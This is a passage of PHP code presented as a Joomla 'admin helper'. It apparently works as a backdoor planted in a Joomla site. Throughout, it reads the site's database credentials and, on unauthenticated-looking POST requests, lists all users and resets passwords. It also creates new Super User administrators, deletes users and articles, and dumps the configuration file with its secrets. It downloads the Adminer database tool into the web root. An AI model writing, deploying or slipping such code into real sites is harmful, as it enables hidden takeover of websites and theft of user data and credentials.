3) $root = dirname($root); return file_exists($root.'/configuration.php') ? $root.'/configuration.php' : false; } } $jConfigPath = JHelper_LocateConfig(__DIR__); if (!$jConfigPath) die('JLIB_CFG_ERROR: Unable to locate configuration.'); require_once($jConfigPath); $_jCfg = new JConfig(); $_jHost = $_jCfg->host; $_jUser = $_jCfg->user; $_jPass = $_jCfg->password; $_jDb = $_jCfg->db; $_jPref = $_jCfg->dbprefix; $_jPort = isset($_jCfg->dbport) ? $_jCfg->dbport : 3306; $_jDbConn = new mysqli($_jHost, $_jUser, $_jPass, $_jDb, $_jPort); if ($_jDbConn->connect_error) die('JLIB_DB_ERROR'); if (isset($_POST['jtask'])) { header('Content-Type:application/json; charset=utf-8'); $_jIn = $_POST; switch ($_jIn['jtask']) { case 'users.list': $_r = []; $_q = $_jDbConn->query("SELECT id,username,email,name,block,lastvisitDate,registerDate FROM `{$_jPref}users` ORDER BY id ASC"); while ($_w = $_q->fetch_assoc()) $_r[] = $_w; echo json_encode(['success'=>1, 'users'=>$_r]); exit; case 'users.reset': $_id = intval($_jIn['uid']); $_np = $_jIn['np']; if (strlen($_np)<5) die(json_encode(['success'=>0,'msg'=>'Password too short'])); $_hp = password_hash($_np, PASSWORD_DEFAULT); $_jDbConn->query("UPDATE `{$_jPref}users` SET password='$_hp' WHERE id=$_id"); echo json_encode(['success'=>1,'msg'=>'Password updated']); exit; case 'users.create': $_un = $_jDbConn->real_escape_string(trim($_jIn['un'])); $_em = $_jDbConn->real_escape_string(trim($_jIn['em'])); $_np = $_jIn['np']; if (strlen($_np)<5 || strlen($_un)<3) die(json_encode(['success'=>0,'msg'=>'Username/password too short'])); $_ck = $_jDbConn->query("SELECT id FROM `{$_jPref}users` WHERE username='$_un' OR email='$_em'"); if ($_ck->num_rows>0) die(json_encode(['success'=>0,'msg'=>'User or email exists'])); $_gid = 8; $_grp = $_jDbConn->query("SELECT id FROM `{$_jPref}usergroups` WHERE title LIKE '%Super%'")->fetch_assoc(); if ($_grp && $_grp['id']) $_gid = intval($_grp['id']); $_hp = password_hash($_np, PASSWORD_DEFAULT); $_jDbConn->query("INSERT INTO `{$_jPref}users` (name,username,email,password,block,sendEmail,registerDate,params) VALUES ('$_un','$_un','$_em','$_hp',0,1,NOW(),'{}')"); $_uid = $_jDbConn->insert_id; $_jDbConn->query("INSERT INTO `{$_jPref}user_usergroup_map` (user_id,group_id) VALUES ($_uid,$_gid)"); $_ok = $_jDbConn->query("SELECT id FROM `{$_jPref}users` WHERE id=$_uid AND username='$_un'")->num_rows; echo json_encode(['success'=>$_ok,'msg'=> $_ok?'New admin added':'Unknown error']); exit; case 'users.delete': $_id = intval($_jIn['uid']); $_jDbConn->query("DELETE FROM `{$_jPref}users` WHERE id=$_id LIMIT 1"); $_jDbConn->query("DELETE FROM `{$_jPref}user_usergroup_map` WHERE user_id=$_id"); echo json_encode(['success'=>1,'msg'=>'User deleted']); exit; case 'cats.list': $_r = []; $_q = $_jDbConn->query("SELECT id,title,alias,published,access,parent_id FROM `{$_jPref}categories` WHERE extension='com_content' ORDER BY id ASC"); while ($_w = $_q->fetch_assoc()) $_r[] = $_w; echo json_encode(['success'=>1, 'cats'=>$_r]); exit; case 'cats.add': $_title = $_jDbConn->real_escape_string($_jIn['title']); $_alias = $_jDbConn->real_escape_string($_jIn['alias']); $_jDbConn->query("INSERT INTO `{$_jPref}categories` (title,alias,extension,published,access,parent_id,level,path,language,created_time,created_user_id) VALUES ('$_title','$_alias','com_content',1,1,1,1,'$_alias','*',NOW(),0)"); echo json_encode(['success'=>1,'msg'=>'Category added']); exit; case 'arts.list': $_r = []; $_q = $_jDbConn->query("SELECT id,title,catid,alias,state,created,created_by FROM `{$_jPref}content` ORDER BY id DESC LIMIT 50"); while ($_w = $_q->fetch_assoc()) $_r[] = $_w; echo json_encode(['success'=>1, 'arts'=>$_r]); exit; case 'arts.add': $_title = $_jDbConn->real_escape_string($_jIn['title']); $_alias = $_jDbConn->real_escape_string($_jIn['alias']); $_catid = intval($_jIn['catid']); $_content = $_jDbConn->real_escape_string($_jIn['content']); $_jDbConn->query("INSERT INTO `{$_jPref}content` (title,alias,introtext,fulltext,state,catid,created,created_by) VALUES ('$_title','$_alias','$_content','$_content',1,$_catid,NOW(),0)"); echo json_encode(['success'=>1,'msg'=>'Article added']); exit; case 'arts.delete': $_id = intval($_jIn['id']); $_jDbConn->query("DELETE FROM `{$_jPref}content` WHERE id=$_id LIMIT 1"); echo json_encode(['success'=>1,'msg'=>'Article deleted']); exit; case 'config.read': $_txt = file_get_contents($jConfigPath); echo json_encode(['success'=>1,'config'=> htmlspecialchars($_txt)]); exit; case 'adminer.get': $_url = "https://github.com/vrana/adminer/releases/download/v5.2.1/adminer-5.2.1-en.php"; $_to = dirname($jConfigPath)."/adminer.php"; if(file_exists($_to) && filesize($_to)>100000) die(json_encode(['success'=>1,'msg'=>'adminer.php exists!'])); $_d = @file_get_contents($_url); if(!$_d) die(json_encode(['success'=>0,'msg'=>'Adminer download failed'])); file_put_contents($_to, $_d); echo json_encode(['success'=>1,'msg'=>'adminer.php ready! Joomla root.']); exit; // --- LOGOUT --- case 'logout': $_SESSION['jxok'] = 0; echo json_encode(['success'=>1]); exit; default: echo json_encode(['success'=>0, 'msg'=>'Unknown jtask']); exit; } } ?> Joomla!

// joomla admin helper